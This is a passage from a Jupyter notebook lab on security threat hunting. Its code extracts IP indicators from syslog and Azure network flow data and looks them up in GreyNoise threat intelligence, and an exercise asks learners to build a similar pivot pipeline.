       "      <td>113.116.23.69</td>\n",
       "      <td>298.0</td>\n",
       "      <td>pam_unix(cron:session): session closed for user root from 113.116.23.69</td>\n",
       "      <td>113.116.23.69</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>113.116.23.69</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>information</td>\n",
       "      <td>{'Classification': 'unknown', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Success'...</td>\n",
       "      <td>{'ip': '113.116.23.69', 'noise': True, 'riot': False, 'classification': 'unknown', 'name': 'unkn...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/113.116.23.69</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d        Linux   \n",
       "\n",
       "              TimeGenerated    Computer           EventTime [UTC]  Facility  \\\n",
       "1  5/4/2021, 8:16:01.040 AM  SOC-FW-CEF  5/4/2021, 8:16:01.000 AM  authpriv   \n",
       "\n",
       "     HostName SeverityLevel  \\\n",
       "1  SOC-FW-CEF          info   \n",
       "\n",
       "                                                             SyslogMessage  \\\n",
       "1  pam_unix(cron:session): session closed for user root from 113.116.23.69   \n",
       "\n",
       "   ProcessID    HostIP ProcessName                                    MG  \\\n",
       "1    14458.0  10.0.1.7        CRON  00000000-0000-0000-0000-000000000002   \n",
       "\n",
       "     Type  \\\n",
       "1  Syslog   \n",
       "\n",
       "                                                                                           _ResourceId  \\\n",
       "1  /subscriptions/d1d8779d-38d7-4f06-91db-9cbc8de0176f/resourcegroups/soc-fortinet/providers/micros...   \n",
       "\n",
       "  Source AccountName IoCType     Observable  SourceIndex  \\\n",
       "1   user        user    ipv4  113.116.23.69        298.0   \n",
       "\n",
       "                                                                     Input  \\\n",
       "1  pam_unix(cron:session): session closed for user root from 113.116.23.69   \n",
       "\n",
       "             Ioc IocType        SafeIoc QuerySubtype   Provider  Result  \\\n",
       "1  113.116.23.69    ipv4  113.116.23.69         None  GreyNoise    True   \n",
       "\n",
       "      Severity  \\\n",
       "1  information   \n",
       "\n",
       "                                                                                               Details  \\\n",
       "1  {'Classification': 'unknown', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Success'...   \n",
       "\n",
       "                                                                                             RawResult  \\\n",
       "1  {'ip': '113.116.23.69', 'noise': True, 'riot': False, 'classification': 'unknown', 'name': 'unkn...   \n",
       "\n",
       "                                             Reference  Status  \n",
       "1  https://api.greynoise.io/v3/community/113.116.23.69       0  "
      ]
     },
     "execution_count": 33,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Get some command line data\n",
    "cmdl_data = qry_prov.LinuxSyslog.list_all_syslog_events()\n",
    "# Extract IoCs from command lines\n",
    "(\n",
    "    cmdl_data.head(500).mp_pivot.run(\n",
    "        entities.Process.util.extract_iocs, column=\"SyslogMessage\", join=\"left\"\n",
    "    )\n",
    "    # Filter where there were IoCs found\n",
    "    .dropna(subset=[\"Observable\"])\n",
    "    # Filter to only IP IoCs\n",
    "    .query(\"IoCType == 'ipv4'\")\n",
    "    # Lookup IoCs in threat intel\n",
    "    .mp_pivot.run(\n",
    "        entities.IpAddress.ti.lookup_ipv4_GreyNoise, column=\"Observable\", join=\"left\"\n",
    "    )\n",
    "    # Filter to where the IPs were found in threat intel\n",
    "    .query(\"Status != 404\")\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "\n",
    "<h3>Lab Exercise 6</h3>\n",
    "Create your own pivot pipeline that does the following:<br>\n",
    "<ul>\n",
    "    <li>Takes the dataframe created for you (net_df)</li>\n",
    "    <li>Gets the type of IP address and joins this to the data</li>\n",
    "    <li>Selects only the Public IP addresses in the dataset</li>\n",
    "    <li>Filters to only 100 events</li>\n",
    "    <li>Looks up the IP addresses in threat intelligence feeds using GreyNoise</li>\n",
    "    <li>Selects only the IP addresses where there is a match in threat intelligence</li>\n",
    "</ul>\n",
    "\n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    <ul>\n",
    "        <li>.head(100) will filter a Pandas dataframe to 100 rows</li>\n",
    "        <li>when calling pivot.run the parameter join='left' can be used to join the resulting dataframe into the original dataframe</li>\n",
    "        <li>Posting threat intel results from GreyNoise can be distinguished by the status not being 404</li>\n",
    "    </ul>\n",
    "</details>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>FlowStartTime</th>\n",
       "      <th>FlowEndTime</th>\n",
       "      <th>FlowIntervalEndTime</th>\n",
       "      <th>FlowType</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>VMName</th>\n",
       "      <th>VMIPAddress</th>\n",
       "      <th>PublicIPs</th>\n",
       "      <th>SrcIP</th>\n",
       "      <th>DestIP</th>\n",
       "      <th>L4Protocol</th>\n",
       "      <th>L7Protocol</th>\n",
       "      <th>DestPort</th>\n",
       "      <th>FlowDirection</th>\n",
       "      <th>AllowedOutFlows</th>\n",
       "      <th>AllowedInFlows</th>\n",
       "      <th>DeniedInFlows</th>\n",
       "      <th>DeniedOutFlows</th>\n",
       "      <th>RemoteRegion</th>\n",
       "      <th>VMRegion</th>\n",
       "      <th>AllExtIPs</th>\n",
       "      <th>TotalAllowedFlows</th>\n",
       "      <th>IPs</th>\n",
       "      <th>ip</th>\n",
       "      <th>result</th>\n",
       "      <th>Ioc</th>\n",
       "      <th>IocType</th>\n",
       "      <th>SafeIoc</th>\n",
       "      <th>QuerySubtype</th>\n",
       "      <th>Provider</th>\n",
       "      <th>Result</th>\n",
       "      <th>Severity</th>\n",
       "      <th>Details</th>\n",
       "      <th>RawResult</th>\n",
       "      <th>Reference</th>\n",
       "      <th>Status</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>...</th>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2020</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2021</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2022</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2023</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2024</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>23:59.5</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>21:58.0</td>\n",
       "      <td>00:00.0</td>\n",
       "      <td>AzurePublic</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td>msticalertswin1</td>\n",
       "      <td>10.0.3.5</td>\n",
       "      <td>[103.199.215.204]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>T</td>\n",
       "      <td>https</td>\n",
       "      <td>443</td>\n",
       "      <td>O</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>centralus</td>\n",
       "      <td>eastus</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>1</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>Public</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>103.199.215.204</td>\n",
       "      <td>None</td>\n",
       "      <td>GreyNoise</td>\n",
       "      <td>True</td>\n",
       "      <td>high</td>\n",
       "      <td>{'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...</td>\n",
       "      <td>{'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...</td>\n",
       "      <td>https://api.greynoise.io/v3/community/103.199.215.204</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>2025 rows × 38 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                                  TenantId TimeGenerated FlowStartTime  \\\n",
       "0     52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "1     52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "2     52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "3     52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "4     52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "...                                    ...           ...           ...   \n",
       "2020  52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "2021  52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "2022  52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "2023  52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "2024  52b1ab41-869e-4138-9e40-2a4457f09bf0       23:59.5       21:58.0   \n",
       "\n",
       "     FlowEndTime FlowIntervalEndTime     FlowType          ResourceGroup  \\\n",
       "0        21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "1        21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "2        21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "3        21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "4        21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "...          ...                 ...          ...                    ...   \n",
       "2020     21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "2021     21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "2022     21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "2023     21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "2024     21:58.0             00:00.0  AzurePublic  asihuntomsworkspacerg   \n",
       "\n",
       "               VMName VMIPAddress          PublicIPs SrcIP DestIP L4Protocol  \\\n",
       "0     msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "1     msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "2     msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "3     msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "4     msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "...               ...         ...                ...   ...    ...        ...   \n",
       "2020  msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "2021  msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "2022  msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "2023  msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "2024  msticalertswin1    10.0.3.5  [103.199.215.204]   NaN    NaN          T   \n",
       "\n",
       "     L7Protocol  DestPort FlowDirection  AllowedOutFlows  AllowedInFlows  \\\n",
       "0         https       443             O                1               0   \n",
       "1         https       443             O                1               0   \n",
       "2         https       443             O                1               0   \n",
       "3         https       443             O                1               0   \n",
       "4         https       443             O                1               0   \n",
       "...         ...       ...           ...              ...             ...   \n",
       "2020      https       443             O                1               0   \n",
       "2021      https       443             O                1               0   \n",
       "2022      https       443             O                1               0   \n",
       "2023      https       443             O                1               0   \n",
       "2024      https       443             O                1               0   \n",
       "\n",
       "      DeniedInFlows  DeniedOutFlows RemoteRegion VMRegion        AllExtIPs  \\\n",
       "0                 0               0    centralus   eastus  103.199.215.204   \n",
       "1                 0               0    centralus   eastus  103.199.215.204   \n",
       "2                 0               0    centralus   eastus  103.199.215.204   \n",
       "3                 0               0    centralus   eastus  103.199.215.204   \n",
       "4                 0               0    centralus   eastus  103.199.215.204   \n",
       "...             ...             ...          ...      ...              ...   \n",
       "2020              0               0    centralus   eastus  103.199.215.204   \n",
       "2021              0               0    centralus   eastus  103.199.215.204   \n",
       "2022              0               0    centralus   eastus  103.199.215.204   \n",
       "2023              0               0    centralus   eastus  103.199.215.204   \n",
       "2024              0               0    centralus   eastus  103.199.215.204   \n",
       "\n",
       "      TotalAllowedFlows              IPs               ip  result  \\\n",
       "0                     1  103.199.215.204  103.199.215.204  Public   \n",
       "1                     1  103.199.215.204  103.199.215.204  Public   \n",
       "2                     1  103.199.215.204  103.199.215.204  Public   \n",
       "3                     1  103.199.215.204  103.199.215.204  Public   \n",
       "4                     1  103.199.215.204  103.199.215.204  Public   \n",
       "...                 ...              ...              ...     ...   \n",
       "2020                  1  103.199.215.204  103.199.215.204  Public   \n",
       "2021                  1  103.199.215.204  103.199.215.204  Public   \n",
       "2022                  1  103.199.215.204  103.199.215.204  Public   \n",
       "2023                  1  103.199.215.204  103.199.215.204  Public   \n",
       "2024                  1  103.199.215.204  103.199.215.204  Public   \n",
       "\n",
       "                  Ioc IocType          SafeIoc QuerySubtype   Provider  \\\n",
       "0     103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "1     103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "2     103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "3     103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "4     103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "...               ...     ...              ...          ...        ...   \n",
       "2020  103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "2021  103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "2022  103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "2023  103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
